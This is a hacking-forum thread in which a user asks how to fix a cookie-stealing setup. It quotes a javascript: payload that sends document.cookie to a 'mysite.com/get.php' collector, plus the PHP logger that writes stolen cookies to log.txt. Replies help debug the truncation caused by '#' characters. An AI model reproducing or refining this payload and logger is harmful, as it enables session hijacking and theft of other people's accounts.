Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Need help sending cookies to a php file


ghost's Avatar
0 0

Okay

so lets say on a site my cookie is:

Dummy=##5464646511188;Name=2eXtreme;Sex=Male;Country=Ireland

When I send this cookie to a php file to be put into a txt file, the txt file only has 'Dummy=' in it, nothing more. My question is, does '##' act as a null type charcter, that php recognises as some kind of message to tell it to stop writing to the log file? When sending other cookies from other sites to the log file, the log file receices them perfectly, but these cookies do not contain '##', so im guessing this is like a termination character?

Is there a way to get around this? Using javascript, and 'document.cookie', is there a way i can specify what part of the cookie i want, i.e. how do i send just my 'Name', i.e. '2eXtreme', to the log file, and nothing more?

Thanks very much for any help given guys! :D


ghost's Avatar
0 0

id have to see more of your your source code, but if you arent already, put single quotes around the values.


ghost's Avatar
0 0

the php code is:

$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie."\n\n");
fclose($log);
?>```


ghost's Avatar
0 0

that worked, thanks so much!

okay

s instead of me doing javascript, how would i do it in php? e.g. the javascript im typing into the url bar is:

javascript:null(document.location='http://mysite.com/get.php?cookies='+document.cookie);

how do i translate this into php cod that does the same, i.e. what fucntions in php send data to a url, and what fucntion do i use so that i havr cookie data returned to me?

Thanks again, you are a great help!


ghost's Avatar
0 0

bump

sorry, I know bumps are annoying, but Id really appreciate it if someone could help me.


ghost's Avatar
0 0

That would be because the # is a character which is used in conjunctions with the anchor tags. Try something like

escape() or something


ghost's Avatar
0 0

To get a cookies isn't it:

// All your code
$cookieyouwant = $_COOKIE['cookie'];
?>```

Not...

```markup<?php
// All your code
$cookieyouwant = $_GET['cookie'];
?>```


ghost's Avatar
0 0

em, how does escape() work? is there a way to strip the hash symbols off the cookie before sending it?

about teh get cookie, cookie is the name of a variable, a get variable, in teh receiving php file. to get the actual cookie contents, i think youre right about that though.

how do i chnage teh url of teh current page in php? like say i have a page, url.php, what is the exact line of code i have to put in, so that when url.php loads, it automatically forwards to http://www.google.com?

thansk so much guys, i really appreciate this :D